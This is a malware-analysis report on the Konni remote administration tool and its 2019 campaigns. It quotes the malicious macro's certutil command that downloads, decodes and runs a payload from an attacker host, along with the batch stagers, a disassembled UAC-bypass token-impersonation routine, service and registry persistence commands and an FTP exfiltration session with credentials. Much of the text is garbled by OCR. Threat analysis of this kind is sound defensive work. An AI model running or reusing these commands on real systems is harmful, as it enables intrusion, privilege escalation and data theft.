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KONNI MALWARE

Executive Summary

Throughout 2019 Cyberint Research observed multiple events related to Konni, remote administration tool,

observed in the wild since early 2014.

The Konni malware family is potentially linked to APT37, a North-Korean cyber espionage group active since 2012.
The group primary victims are South-Korean political organizations, as well as Japan, Vietnam, Russia, Nepal,
China, India, Romania, Kuwait, and other parts of the Middle East.

Figure 1Map chart shows APT37 main targets

The latest activities leveraging the Konni malware family potentially target political organizations and politically
motivated victims in Russia and South-Korea. Cyberint Research Team observed 3 distinct campaigns throughout
2019: starting from January to late September.

Konni Infection chain consists of multiple stages and utilizes living-off-the-land binaries in its operation from the
use of certutil.exe to download additional files and decode their content to sc.exe and reg.exe for persistence.
These campaigns leverage similar C2 infrastructure for the delivery and a specific free FTP service used for
exfiltration the stolen data from the affected targets. Additionally, the macro-armed lure documents used to
deliver and install the Konni payloads have similarities across all 3 campaigns.

Konni is modular malware that collects reconnaissance data on the target machine prior to sending further
modules. We were unable to find additional operations related to the Konni malware family that might reveals
further capabilities and malware types used by the group associated with Konni activity.

During our analysis we found overlapping between the Konni infection chain, tools and technique used by the
Syscon backdoor p1jusing a service called COMSysApp to load the payload as a service DLL as a mean to achieve
persistence on the victim machine. Although we observed similarities between Konni and Syscon, at this time

we can't say with full certainty that the same threat actor is behind both operations.
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Campaign Timeline
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Execution flow
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Figure 2 Typical Konni execution flow
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Konni Multi-Stage Operation

Stage 1 - Initial Execution

In mid-July 2019 CyberInt research team observed a campaign delivering the Konni malware.

The threat actor behind the campaign leveraged a malicious macro-armed Microsoft Word document titled: “O
cutyanuu Ha KopelickoM noJsiyocTpoBe U lepcreKkTUBax guasnora mexay CIIA u KH/[P” (translated to: About
the situation on the Korean Peninsula and the prospect of a dialogue between the United States and the
DPRK). Unlike the previously observed campaign, the August campaign potentially targeting Russian language
speakers with an interest in Korean geo-political situation, the lure document used in this campaign is written
Cyrillic and contains content related to North Korean American foreign affairs.

O caryannu Ha KopelickoM moryocTpoBe H nmepcneKTHBAX [
nanora mexay CIITA nm KHJIP.

B nentpe BHHMaHIA (opyma OBUIN IpobieMs! COBPeMEHHOTO COCTOSHIIA I MEePCIeKTHB
neHyKIeapnsannn KHP 0 aMepHKaHO-CeBepOKOpeilcKIIX OTHOMIEHHIT.

B xoxe oOCyxIeHHA JAHHBIX NpoONeM OTYETIHBO NPOSBIUIICE IPOTHBONONONKHEE
OLISHKII B paMKaX poccHilcko-KHTaiICKoro I aMepHKaHO-AIIOHCKOT0 IOIX0I0B.

EmIHCTBeHHO®E, B &M CTOPOHEI COITACIIIHCE 3TO ¢ TeM, IT0 BTopoii cammur JI. Tpammna 1
Kim YeH BIHa B XaHoe B (eBpaie c. I. clelyeT paclleHNBAaTs He KAK IIPOBAT, a KAK [ONe3HYH0
BCTpedy, B HToTe KOTopoil oOe cTOpPOHE! JIyHIle I peallcTiMHee IOHATI O3 IPYT IpyTa.
Janee HAYAIH BRIABIATECA IPIHIHIINANLHEIE PA3TIITILL.

Poccuiickiie n KoTaffcKie YYacTHHKH VIBepAKIam, 4T0 B Xadoe mngep KHIAP
OpPOAEMOHCTPHPOBAT HECOTJAcle CHeJ0BaTh aAMEPHKAHCKOMY KypCcy Ha O0IHOCTOPOHHIOK
THepBOOIepeIHYI0 [eHYKIeapH3allio Oe3 BCTPeIHEIX OTBETHHIX MIAaTOB co cTopoHE! CIIIA B B
CMATIeHNA caHKINII. JlaHHAS MO3NIOHA OblTa IOITBep:kIeHa ceBepoKopelickIM MILIepoM B Xole
BCTpeunl ¢ npesnaerToM P@ B.B. IIyTHHEIM BO BraaneocToke 25-To anpeinsd . I. Tam Kum Uern
bIH BHOBE 3asBILI, 4TO FOTOB IPOI0LKAaTh quanor 1 ¢ CIIIA, i ¢ IOxHoil Kopeeii, Ho ¢ IIelb0 He
BeJIeHIA «IIeper0BOPOB Palll IeperoBOPOB», a ¢ TeM, IT00bI JOOHThCH B HX X0lIe KOHKDETHBIX
pe3yIBTaTOB, IaKeT KOTOPEIX BRIIOIaeT B ced HelpeMeHHO II COKpalleHHe 00beMa pecTPHKIIHIL,
neficreyromux nporns KHJIP, B ToM 1mnciIe, B Bie caEKit CB OOH.

AMEPHKAHCKIIE K€ IHILIOMATHI I BOCHHBIC B ['OHKOHIE, KOTOPBEIX aBTOMATIMMECKH I
0€30roBOPOYHO MOJIEePKIBATH ANOHCKIE COFIHIKIL, YTBEP:KIamHl HHoe. [[0 oleHKaM JAHHBIX
mOpelcTaBHTeNell  KOHCEpBATIBHOTO  OONBIIMHCTBA  IcTeOnmmmeHTa CIIIA  TIaBHEIM
JocTILKeHHeM BeTpedn B XaHoe cTallo To, IT0 TaM HakoHell JI. TpaMn Honeltanca yoeInTecsd, 110
Bammartor n IIXeHEAH HMeT o0llee MOHHIMAHIE CaMOTO IIOHATHA «IeHYKIeapH3allli»,
BBIPAKEHHOI'0 YETKIM A3BIKOM MEXIYHAPOIHOro mpasa. IIpH 3TOM IMI IOCTOAHHO MOBTOPAICA
Te3Hc 0 TOM, IT0 CAHKITHH — 3T0 IPOAYKT He MoauTHEH CIITA, a KoJIeKTHBHOIT Bon 9ieHoB CB

QOH, 1 IpeIBABTATE K BamIHI TOHY TpeGOBaHIL IO HX CMATYEHII0 B IPHHIIIE HEIPABOMepPHO.

Figure 3 Decoy document for 4c201f9949804e90f94fe91882cb8aad3e/dar496a7f4e792b9c7fed95ab0726

When analyzing the document, we see that the internal codepage of the lure document is 949 - ANSI/OEM
Korean (Unified Hangul Code). indicating that the actor who created the document used Korean keyboard
layout. This is an indication that the author is a Korean native speaker.
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Figure 4 Document Properties. Codepage 949 is windows Korean (Unified Hangul Code)

The lure document contains VBA macro code with the following capabilities:
= Changes the font color from light grey to black - to trick the victim to enable content.

= Checks if windows is a 32 or 64 bit version.

= Constructs and executes the command-line to download additional files.

Figure 5 Macro code for 4c201f9949804e90f94fe91882cb8aad3e/dar496a7f4e792b9c7fed95ab0726

Cyberint CyberInt Copyright © All Rights Reserved 2020 6
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The document contains 3 hidden textboxes. Each has a hexadecimal string constructed to a command line

executed once the document is opened by the victim.

TextBox # Hex String ASCII String

TextBox1 5C7379736E61746976655C636D642E657865202F71202 | \sysnative\cmd.exe /q /c
F6320

TextBox2 5C73797374656D33325C636D642E657865202F71202F6 | \system32\cmd.exe /q /c
320

TextBox3 636F7079202F79202577696E646972255C73797374656 | copy /y

D33325C636572747574696C2E657865202574656D702 | %windir%\system32\certutil.e
55C6D782E657865202626206364202F64202574656D7 | xe %temp%\mx.exe && cd /d
025202626206D78202D75726C6361636865202D73706 = %temp% && mx -urlcache -
C6974202D6620687474703A2F2F68616E64696361702 | split -f
E6575352E6F72672F312E747874202626206D78202D64 | http://handicap.eu5[.Jorg/1.txt
65636F6465202D6620312E74787420312E62617420262 | && mx -decode -f 1.txt 1.bat
62064656C202F66202F7120312E74787420262620312E | && del /f /g 1.txt && 1.bat
626174

Full Command Line example:
c:\windows\system32\cmd.exe /q /c copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% &&
mx -urlcache -split -f http.//handicap/.Jeus.org/ltxt && mx -decode -f 1.txt 1.bat && del /f/q Ttxt && 1.bat

Certutil is a living-off the land command line utility that can be used to obtain certificate authority information
and configure certificate services. Threat actors usually utilize certutil to download remote files from a given
URL. It also incorporates a built-in function to decode base64-encoded files.

CMD silently copies certutil.exe into temp directory and rename it to “mx.exe” in an attempt to evade

detection and then downloads 1.txt from from a remote resource: http://handicap.eu5[.Jorg. The text file

contains a base64 encoded string that is decoded by certutil and saved as 1.bat.

The threat actor removes tracks by silently deleting 1.txt from the temp directory and then executes 1.bat.

Copy and rename
certuil.exe >
- Downloads Drops BAT
2 stage and
1.bat
-  » | — 1
@ ‘ > c \ mx.exe executes
Oo —T
Victim Contalns Macro cmd.exe
Decodes

content

mx.exe

Figure 6 Konni Initial Execution
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Stage 2 - Privilege Escalation

The batch script acts as a second stage downloader and downloads two additional files, depending on the
system architecture. Certutil is executed to download a txt file and decode its content. Decoding each base64
string (32-bit or 64-bit version) results in a cabinet file - setup.cab

@@echo off

if not exist "%PROGRAMFILES(x86)%" (
mx -urlcache -split -f “http://handicap.eu5.org/2.txt"” > nul
mx -decode -f 2.txt setup.cab > nul
del /f /q 2.txt » nul

1 else |
mx -urlcache -split -f "http://handicap.euS.org/3.txt™ > nul
mx -decode -f 3.txt setup.cab > nul
del /f /q 3.txt > nul

Figure 7 1.bat: downloads next stager

The content of the cabinet file is then extracted into %temp% folder, and setup.cab file is deleted from the

system.
install.bat 11272019711 PM Windows Batch File
|%| mshlpsrec.dll 712/2019 7:09 PM  Application extens...
# | mshlpsrvc.ini 1/12/2019 7:39 PM Configuration sett...
|%| mshlpweb.dll 712/2019 7:09 PM  Application extens...

Figure 8 setup.cab files

Install.bat - acts as installer to ensure persistence and execute mshlpsrvc.dil.
mshlpweb.dll - acts as loader; responsible to elevate privileges.

mshlpsrvc.dll - final payload; responsible for data exfiltration.

N

mshlpsrvc.ini - configuration file; contains URL used by mshlpsrvc.dil

Cyberint Cyberlnt Copyright © All Rights Reserved 2020 8
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-

Both dropped DLL files are unsinged and packed with UPX packer:

Cigcheck v2.Y%3 — File version and signature viewer
opyright <C» 2004-2817 Mark Russinowvich
Fuzinternals — www_sysinternals.com

ssuserssflaresdezktoptanalysis*mzshlpweb.d1l1l:
Uerified: Unsigned
Link date: 11:89 AM ?-12-.2819
Publizher: n~sa
Company: nsa
Description: nsa
Product: nsa
Prod verszion: n~sa
File version: nsa
MachineType: 32-hit

sUszeprssflarerstrings ""Cowlserssf laresDesktopsAnalysissmshlpwebh.d11" | findstr <1 "wpx'

sUszeprssf lare

Figure 9 UPX strings indicate file is packed

To check level of permissions, the threat actor uses net.exe. if the current user has high privileges, install.bat is
executed directly. Otherwise, mshlpweb.dll is executed using rundll32.exe.

BoLg

Figure 10 1.bat: Checks for user's permission

mshlpweb.dll is a loader that uses a known token impersonation technique to elevate permissions and execute
install.bat with high privileges. To gain higher privileges mshlpweb.dll execute the Windows Update Standalone
Installer, wusa.exe. This process runs as a high-integrity process by default, since its set to auto-elevate within
its manifest.

Cyberint CyberInt Copyright © All Rights Reserved 2020 9
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c :swindowsssystem32hwusa.exe:
erified: igned
Signing date: 9:37 PM 11-268-26018
Publisher Microsoft Windows
Company: Microsoft Corporation
Description: Windows Update Standalone Installep
Product: Microsoft« Windows« Operating System
Prod version: 6.1.7681.17
File version: 6.1.7681.17514 <winPspl_rtm.101119-1858)>
MachineType : 64-hit
Manifest:
[{?xml version="1.8" encoding="UTF-8" standalone="yes"?>
{t—— Copyright {c) Microsoft poration ——X
;assenbly xmlns="urn:schemas—microsoft—com:asm.vl"” xmlns:asmui="urn:schemas—microsoft—com:azm.v3" manifestUersion

{assenblyldentit
version="1 a"
processorArchitecture="and64
'Microsoft.Windows .WUSA
in32%/>

{description>Windows Update Standalone Installer{/descriptionl
{dependency’>

{dependentAssembhly>
<assemhlylden

ndows .Common—Controls"

processorArchitecture="amd64"
publicKeyToken S95h64144ccfidE""
language=""=",>
{sdependentAssembly>
<sdependency’>
<trustInfo xmlns="urn:schemas—microsoft—com:asm.uv3">
{secu >
{requestedPrivileges>
{requestedExecutionLevel level equirefAdministrato i false" ~>
{s/requestedPrivileges
{/zecurity’
<AtrustInfol
<asmv3:application>
{asmv3:windowsBettings xmlns="http: - ~schemas.microsoft.com SMI 2885 Win reSettings">
<autoElevate>truel autoElevate>
LdpifAware>true{ dpifvare >
{sasmv3:iwindowsSettings>
{rasme3:application>
[{ assemhly>

Figure 71 wusa.exe manifest, autoflevate set to true

mshlpweb.dll contains an access token impersonation routine that duplicates the token of the high integrity
instance of wusa.exe, and uses it to create a new cmd.exe process running under the security context of the
impersonated userp], which in turn execute the installer - install.bat.

ocess Monitor - Sysinternals:

i ' Process Tr

Edit Event Filter Tools Options Help
H&XBE(<AS B & 5|[#H

Only show processes stil running at end of current trace
7] Timelines cover displayed events anly

. Process Name PID %
y.. [Eusa see sgaa] | | Frocess Start Time
). iwusa oxe 3984 | | 55 Explorer EXE (2540) 11/22/2019 1.06:11 FM
)... [Ewusa oxe 2984 £ vmtoolsd exe (2804) Mware Tools\wmtoolsd exe” - vmusr 11/22/2019 1.06.16 FM
1. [Ewusa exe 3384 51 € chrome exe (2684) e\ Chrome Application’\chrome exe™ 11/22/2019 11423 FM
... [Fiwusa e 3384 & chrome exe (2264) e\ Chrome\Application’chrome exe” ~type=uilty -fie 11/22/2019 1:14:23 PM
1... [Silwusa.exe 3984 & chrome.exe (2816) le\Chrome\Application’\chrome. exe” ~type=utiity -fie_.. 1172272019 1:25:34 FM
L [Slwusa e 3984 € chrome exe (1700} e\Chrome \Application’chrome.exe” ~type=renderer .. 11/30/2019 10:15:25 Pl
: R::Z: : igg & chrome exe (3556) e\ Chrome \Application’chrome exe” ypesrenderer . 12/11/2019 12:38:52 Pl
) s oxe 984 B G emd exe (2568) exe” 12/11/2019 21736 FM
). Elusacxe 3904 = [ iundi32 exe (2360) Deskiop\Analysis\Kornifollow-up malware'Z\setup... 12/11/2019 2.13.00 FM
.. [wusa axe 394 = [} undi32 e (3156) Deskiop\Analysis\Korni'follow-up malware 2 121172019 21900 P | _
1. jiiwusa exe 3360) 5 wusa exe (3384) s exe” 12/11/2019 218,01 FM |~
: Hmusa exe iggg vusa.exe (3360) usa exe” 12/11/2019 21903 FM

wusa exe
; : R::z:x ;ggg % i sc.exe (3228) 12/11/2019 213.03 FM
-~ P g omd exe (2716) Pre /5 /D /c" echo C:\sers flare\Deskiop Araysi.. 12/11/2019215.03FM
N # 7 findstr exe (3780) 1271172019719 04 PM

7 Event Properties 5% e e 111371 < [ »

Description: Windows Command Processar

Frocess
Event Stack 4| Company: Microsoft Corporation

Image Path: C:\Windows\System32\cmd. exe
<=+ Windows Update Standalone Installer Command: Jc "C:\Jsers|Hare \DesktopAnalysis\orni\follow-up malware |2\setup\nstal.bat™
K4 microsoft corporation User: WIN-168URGOO 171 \flare
Name:  wusa.exe PID: 1624 Started: 12/11/2019 2:19:03PM

Exited:  12/11/2019 2:19:05 PM
Version: 61,7600, 16385 (win7_rtm,030713-1255)
path: GoToEvent | | IndudeProcess | | Indude subtree Close

C:\Windows\SysWOWs4\wusa.exe

Command Line:
"C:Windows \SysWOWE\wusa.exe™

PID: 3380 Architecture:  32-bit

ParentPID: 3156 Virtualized: False

SessonID: 1 Integrity:  High

User: WIN-168URGO0171\flare

Auth ID: (00000000:0004000e

Started: 12/11/2019 2:19:03FPM Ended: 12/11/2019 2:19:03 PM
Modules:

Figure 12 wusa.exe runs with high integrity
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Token Impersonation Routine

mshlpweb.dll utilize a set of standard windows api calls to duplicate the token of wusa.exe and use it to spawn
high integrity instance of cmd.exe. Higher privileges are needed to execute the installer, install.bat. The
technique used by the threat actor is a full fileless UAC bypass named “Cavalry” that was leaked back in March
2017 to WikiLeaks as part of “Vault 7", a series of leaks on the US CIA that included sophisticated privilege
escalation techniques used by several actors in the wild since the leakage 31. This technique also bypasses UAC
with the “AlwaysNotify” settings.

Technique flow:
= wusa.exe is executed in hidden window using ShellExecuteExW;
= Handle to the access token associated with wusa.exe is created.
= The token object of wusa.exe is duplicated using DuplicateTokenEx. The threat actor pass
“Token_all_access” as desired access, which combines all possible access rights for a token and creates a

new impersonation token.

e
push &8
lea eax, [ebpipExecInfo]
push ebx
push eax
call sub_EFC7131@
add esp, 8Ch
lea eax, [ebpipExecInfo]
push eax ; pExecInfo
mow [ebptpExecInfo.cbSize], 3Ch
mow [ebptpExecInfo.fMask], 48h
mow [ebpépExecInfo.lpFile], offset aWusaExe ; 158, exe”
ma [ebp+pExecInfo.nshow], ebx
call ShellExecuteExd
test eax, eax
jz loc_BFCT12FE
=
push edi
mow edi, [ebp+pExecInfo.hProcess]
lea eax, [ebp+TokenHandle]
push eax 3 TokenHandle
push 2eeaaaah ; DesiredAccess
push edi 3 ProcessHandle
mow [ebptvar_14], edi
call OpenProcessToken
test eax, eax
jnz short loc 6FCT1189
I 1
Y
e
loc_6FC71189:
lea eax, [ebp+phNewToken]
push eax ; phNewToken
push 2 ; TokenType
push 2 ; ImperscnationLevel
push ebx ; lpTokenAttributes
push TOKEN_ALL_ACCESS P ; dwDesiredAccess
push [ebp+TokenHandle] ; hExistingToken
call DuplicateTokenEx
test eax, eax
jz short loc 6FCT1182

= A new SID with medium privileges is created and set with NtSetinformationToken to the new duplicated

token to lower its mandatory integrity level.

Cyberint Cyberint Copyright © All Rights Reserved 2020 11
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= A restricted token is then created and duplicated using NtFilterToken and DuplicateTokenEx respectively.

e

lea eax, [ebp+psid]
push eax

push ebx

; psid

; nSubfuthority?
push ebx ; nSubfuthoritys
push ebx ; nSubAuthorityS
push ebx ; nSubAuthoritys
push ebx ; nSubAuthority3

push ebx ; nSubAuthority2

push ebx ; nSubAuthorityl

push B192 ; nSubAuthority®

push 1 3 nSubAuthorityCount
lea eax, [ebptpldentifierAuthority]

push eax ; pldentifierfuthority
call AllocateAndInitializesid

test eax, eax

jz short loc_6FC71182

e

moy eax, [ebptpsid]
push 28h

pop ecx

push B

moy [ebp+var_24], eax
lea eax, [ebptvar_24]
push eax

push 25

push [ebp+phNewToken]
mow [ebptvar_28], ecx
call NtSetInformationToken
test cax, eax

jnz short loc_BFC71182

S
FIE]

lea eax, [ebp+hExistingToken]
push eax

push ebx

push ebx

push ebx

push 4

push [ebp+phNewToken]

call NtFilterToken

test eax, eax

jnz short loc_6FCT1182

= The new duplicated token is passed to ImpersonateLoggedOnUser.
= An elevated cmd instance is spawned using CreateProcessWithLogonW function. The credentials passed
as arguments to the function (Username: aaa, Domain: bbb, Password: ccc) are identical to the

credentials specified in the UAC bypass implementation by FuzzySecurity, UAC-TokenMagic 4]

Cyberint Cyberlnt Copyright © All Rights Reserved 2020 12
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eax, [ebpiphNewToken]

L] i phNewToken

F] ; TokenType

z i ImpersonationLevel
wba : lpTokenattributes
12 5 dwDesirediccess

[ebpthExistingToken] ; hExistinmgToken)
[ebptphlenToken], ebx
DuplicateTokenEx

A, A

loc_&FCT1182

[ebpiphliewToken] ; hToken|

Impersonateloggeddnliser
al, al
IH_&FCTJIEE
| I |
h |
il s
jpuzh &b
g edi
push edi
lea eax, [ebpsstartupInfa]
[push ebx
push A
call sub_6FCT1318
xor =AM, EEN
oy [ebpestartuplnfo.ch], edi
mon [ebpeStartupInfo.wShowhiindow], ax
lea edi, [=bp+ProcessIinformation]
stosd
stosd
stosd
stosd
o edi, 28Bh
s h edi
lea eax; [ebptdideCharser]
push eba
[pussh eax
mo [ebptStartupinfo.dwflags], 1
call sub_GFCT1318
| aidd esp, 12h
[owsh 1idh ; cchidideChar
lea eax, [ebptdideCharstr]
[puwsh =an i lpHideCharStr
EE @FFFFFFFFh ; cbMultidyte
[push [ebptlprultiBytestr] ; lpMultiByteStr
jpush ebax i owf lags
pissh b 3 CodePage
call MultiByteTokideChar
s h edi
lea eax; [ebp+CommandLine]
oush ebx
[Pk A

call sub_GFCT1318

lea eax, [ebpHdideCharstr]
push eax

lea eax, [=bp+lomsandline]
push  offset aCs e N

jpush A ; LPWSTR

call dazwaprintfiv

ELE esp, 12h

lea eax; [ebptProcessInformation]

ash A i lpProcessInformation

lea eax; [ebptstartupInfo]

s b A i lpStartuplnfo

[push ebx : lpCurrentDirectory

push b i lpEnvironment

s h CREATE_DEFAULT ERAOA_MODE ; dwCreationFlags
lea eax, [ebp+ComsandLine]

owsh L i lplommandLine

[push offset ApplicationName ; “C:'\Windows'\System3?\'\cmd.exe"

[puwsh 2 ; dwiogonflags
[pissh affset Password ; “coc”
[push offset Domain

jpush offset Username ;| “ass”
call createProcessWithLogon
push =ha ; ulxitCode
rest %, BaK

jnz short loc_6FCTLIF4

James Forshaw’s blogs] clearly outlines in detail how to bypass UAC using the technique above.
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KONNI MALWARE

E!I Install.bat

BAT
» OO - o @ mshipsrec.dll
Downloads Wkl Drops
3 stage rshipweb.dil
mx.exe 2.txt Setup.cab
A A @ mshipsrecini
O
»| O
Decodes
content
cmd.exe
mx.exe
X Extracts to:
expand.exe Y%temp%
:X—PX Executes jr
-
cmd.exe install.bat
net.exe netl.exe High integrity
0O
D » O
wusa.exe
rundll32.exe High integrity
Token
| . Q
mpersonation Jo
wusa.exe

Figure 13 Konni 2 stage and privilege escalation flow
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Stage 3 - Persistence

When the installer is executed, it first stops COMSysApp, a service that manages the configuration and
tracking of Component Object Model (COM)-based components, using sc.exe utility.
= COMSysApp service is first configured to autostart and the binpath of the service is set to svchost.exe:
sc config COMSysApp type= interact type= own start= auto error= normal binpath=
"%windir%\System32\svchost.exe -k COMSysApp"
This is a commonly used technique for persistence, as it will automatically start the service after a
successful login.
= COMSysApp service is added under the “SvcHost” key as a preliminary step to its execution in the

context of svchost.exe:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ
/d "COMSysApp"
= The malicious DLL is added as a service DLL of COMSysApp:

reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDIl /t REG_EXPAND_SZ
/d "%windir%\System32\mshlpsrvc.dll”
= COMSysApp service is restarted

: INSTALL
sC query ComSysApp > nul
if XerrorlevelX® neq 8 (
sc create ComSysfpp binpath= "fwindirf\System32\svchost.exe -k COMSysApp” DisplayMNam
e= "COM+ System Application”™ > nul
=C description ComSysApp “@comres.dll,-248" > nul

sc stop COMSyshApp > nul
sc config COMSysApp type= interact type= own start= auto error= normal binpath= "Hwind
irE\System32\svchost.exe -k COMSysApp™ > nul

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t RE
G_MULTI_SZ /d "COMSysApp" /f > nul

reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters” /v ServiceDll /t
REG_EXPAND _SZ /d "#windir¥\System32\mshlpsrvc.dll™ /f > nul

sc start COMSysfApp > nul

Figure 4 Install.bat: Persistence & Execution of mshlpsrvc.dll

Once COMSysApp service is restarted the malware is loaded in memory, and the batch file is removed from the
infected system.

The final payload (mshlpsrvc.dll), and its configuration file (mshlpsrvc.ini) are both copied into the system32
directory from the temp directory and then deleted.
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:COPYFILE
copy /y "%~dp@\mshlpsrvc.dll" %windir%\System32 > nul
| del /f /q "%~dp@\mshlpsrvc.dll™ > nul

copy /y "%~dp@\mshlpsrvc.ini” Zwindir%\System32 > nul
del /f /q "%~dp@\mshlpsrvc.ini" > nul

Figure 15 Install.bat: files copied to System32 directory

%

findstr.exe
———
Query x
“Co SC.exe

"COMSysApp”  sc.exe
— service
Executes -

Config Service to

cmd.exe install.bat autostart and SC.EXE
High integrity binpath to )
svchost.exe )
> Persistence:

"HKLM\SYSTEM\CurrentControlSe
reg.exe | t\Services\COMSysApp)\Parameter

s Ju ServiceDl /t

L REG_EMPAMD SZ /d
ﬁ "C:AWindows\System32\mshlpsrv

reg.exe c.dil” /f

“COMSysApp”  sc.exe

service

Figure 16 mshipsrvc.dll Execution and Persistence flow
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Stage 4 - Data Reconnaissance and Exfiltration

After ComSysApp service is restarted, a new instance of Svchost.exe is spawned and loads mshlpsrvc.dll.

mshlpsrvc.ini is a configuration file that delivered together with the final payload mshlpsrv.dil in earlier stage.

This file contains a Base64-encoded string with a custom key, the file is read by and decoded by mshlpsrvc.dll

to perform an outbound connection and download handicap[.Jeu5[.]Jorg/4.txt

I 01yDb - mehiesrv e

File View Debug Plugins Opticns Window Help

|

=R

P wijvd #i1f 4 o+ LIE|M[T|W/H|c|/|K[B|R|..|5]| i|if]?]

rolB2B3E(] . 831C38 MOL BYTE PTR DSz CERS+ESI], BEL o~

FEIEZEZE(] . SASF BRSEIBYE(| MOV BL,BYTE PTR DS5: [EDI+FE1BEEEE]

FolezB44() . SBFD F2 MO EDI DWORD PTR SS: [EBP-21

FEIEZE4T() . SEECZE @1 MOU BYTE PTR DS: [EA=+ESI+11,BL

rolez84E() . BFBSD2 MOLZs EDK, DL

FEIEZE4E(] . SA%2 BRSAIETE| | MOU OL, EVTE PTR DS:[EDX+7S1E6EEG]

rolBz2854 () . BFBSCIY MOLIZ = ECX CL

TEIEZEET|] . SBE426 B2 MOU EYTE PTR OS5: [EAX+EST+21, 0L

FSlEZESE|] . SHSY BEsB1EYS|| MOV CL,EYTE PTR DS: [ECR+7SlBE00E]

TEIEZEL|] . SB4C20 @3 MOU BYTE PTR DS:[EAX+ESI+21,CL e

rolEZEES|) . 5308 B4 ADD ERX, 4 | W

7ElEZEEZ|) . 23BFOD BC CHMP EDI,DWORD PTR S5:[EEP+C] =

7SlEZBEE|) L~BFEC 42FFFFFF|LJL mshlpscw. FE1ELFES

TEiB2ATL(] . EF FOF EDOI

rolezEfz() . SB FOF EEX

TEIB2ATZ(] . C9 LEALE

rolezef4 k. C3 RETH

TEIB2ATYE FE ES FUISH EEF

rolBz87fe(] . SBEC MU EEF,ESP

TEIE2ATE 23EC &C SB ESF,BC

rolEZ87E o2 PUSH EEX

TEIE2ETC 2B10 245A1BFE| MOU EEX,DWORD PTR DS: C<&SHLWAPI.StrChieA| SHLWARI. StrChreA

rolezesz e PUSH ESI

TE1E2ESZ =T FUSH EDI

rolBzes4 SZFF w0R EDILEDI

TE1E2ASG 2370 F4 MOL DWORD PTR 55:[EEF-C1,E0I

rSlEz823|) . BE MO ESI,.msh lpsrw. PE1EEEEE RSCII "gaRds0z 2bJ2fu MFwUKE L7 el IRpu ik SBED=h dGy Z1n Xt SCLYATUojeBEaNH-FuSm™
7EIEZESE|] » SB4E B2 rHOyU EAX, OWORD PTR 55: [CEEP+2]

FolEzE91() . GFBE&E4ET MOUZ s ERX,.BYTE PTR DSz LEDI+ERK]

TE1E2ESE =] PUSH ERX

rolBz89s S PUSH ESI

TE1E2E9T FFOZ CALL EEX

roleze93 SECE MOL ECH, EST

TE1E2ESE 2AC1 SUEB AL.CL

relEz830 2245 FC MOU EYTE PTR S5z [EEF- <41, HL

TEIEZEAG 2B45 A2 HDU EHX DNDRD PTR 551 [EBP+8] -
I=k W=1rlrTul = =P ) L I = kY= LN

7S1BaBEB=msh [psiw. ?518688@

[ﬂSCII "qaR4sDzEbd8FHZNFuUK/l?rLI@DuckaBED hdGy 31050 IYATUVo jeBEaMH-PuSm™]

Cyberint.

Figure 17 The Custom Base64 key used to decode mshipsrvc.ini content
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Data Reconnaissance

Prior to execution of any recon command to gather information from the target machine, the default codepage
of the CMD console is changed to “65001” (utf-8)
cmd /c REG ADD HKCU\Console /v CodePage /t REG_DWORD /d 65001 /f
The following information is gathered from the affected machine and sent back to the control server:
= System info using: cmd /c systeminfo >%temp%\temp.ini
= List of running process using: cmd /c tasklist >%temp%\temp.ini
= The temp.ini file is then compressed into a cabinet file and saved to C:\Windows\TEMP
c¢md /c makecab "C:\Windows\TEMP\temp.ini" "C:\Windows\TEMP\temp.cab"

The downloaded file, 4.txt, contains a base64 encoded string with the same custom key. Following decoding,
the file content appears to be the FTP credentials for the FTP service that acts as the command & control
server for this attack. We've observed similar past campaigns where other free FTP services were used as the
C2 for Konni and Syscon variants, staring from October 2017. [5]

Data:

QyUYWLatueOhfGgdWqo8I=EQx=wAZVsTxVhZRGOhOGWekqo8

Decode | Encods

Results - Decode:
ftoupload.net

b 24171238

adfavs

Figure 18 4.txt: FTP credentials for C2 server
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KONNI MALWARE

Exfiltration

The data is exfiltrated using the following:
o The temp.cab is base64 encoded with the same custom key used earlier.

o Encoded temp.cab is copied to a post.txt under the directory C:\Windows\TEMP

o files uploaded to the control server using “stor” command.

Pt e m e e Welcome to Pure-FTPd [privsep] [TLS] ————-—-—-—---
228-You are user number 631 of 3980 allowed.

220-Local time is now @5:84. Server port: 21.

228-This is a private system - No anonymous login

228 You will be disconnected after 6@ seconds of inactivity.
USER b&_24171239

331 User b& 24171239 OK. Password required

PASS adfgvx

238-Your bandwidth usage is restricted

238 0K. Current restricted directory is /

WD htdocs

258 OK. Current directory is /htdocs

MKD 77Z01DjwwTmm

257 "77Z01DjwwTmm” : The directory was successfully created
WD 77Z01DjwwTmm

258 OK. Current directory is /htdocs/77Z010jwwTmm

TYPE A

288 TYPE is now ASCII

PASY

227 Entering Passive Mode (185,27,134,11,97,174)

STOR ff @8-17 82-16-58.txt

158 Accepted data connection

226-File successfully transferred

226 8.874 seconds (measured here), 16.23 Kbytes per second

Figure 19 FTP Session — login to the C2 FTP server and data exfiltration

swchost.exe cmd.exe

)

Loads v v

mshlpsrvc.dil

e

m
>
m

systemjnfo.exe tasklist.exe

>
Reads Write

mal eIa .exe
Downloads
temp.ca

Saved into

|
4xt

Uploaded l

FTP
0

mshlpsrve.ini

Figure 20 Data Reconnaissance and Exfiltration flow

Cyberint Cyberlnt Copyright © All Rights Reserved 2020 19



KONNI MALWARE

Konni Campaigns-2019

Cyberint Research Team observed 3 additional outbursts throughout the year: 2 similar samples observed on

January 2019, and another one on September 2019.

o

\ January 30, 2019 | September5, 2019
[ July 12, 2019 [

January 21, 2019 @ @

Figure 21 Konni Outbursts 2079

Hash Comparison

Imphash (for “import hash”) is a unique hash value assign to PE files based on the import table of the file. The
hash is calculated by the library and API function names and their order within the executable. This is an
efficient way of pivoting on malicious executables that share a similar payload are most likely created by the

same group.
DLL Name SHA-256 Imphash Compile
Time
compvgk.dll 6256ba2b89c78877328cc70d45db980310a5 | 2818b3a61dc203e3e75c9312d428b24a 2019-01-21
1545a83d1d922d64048b57d6c057 03:01:58
comsyslib2.dll 274e€706809a1c0363f78363d0c6a7d256be5b | 2818b3a61dc203e3e75¢9312d428b24a 2019-01-30
€11039de141617265e01d550a98 06:06:34
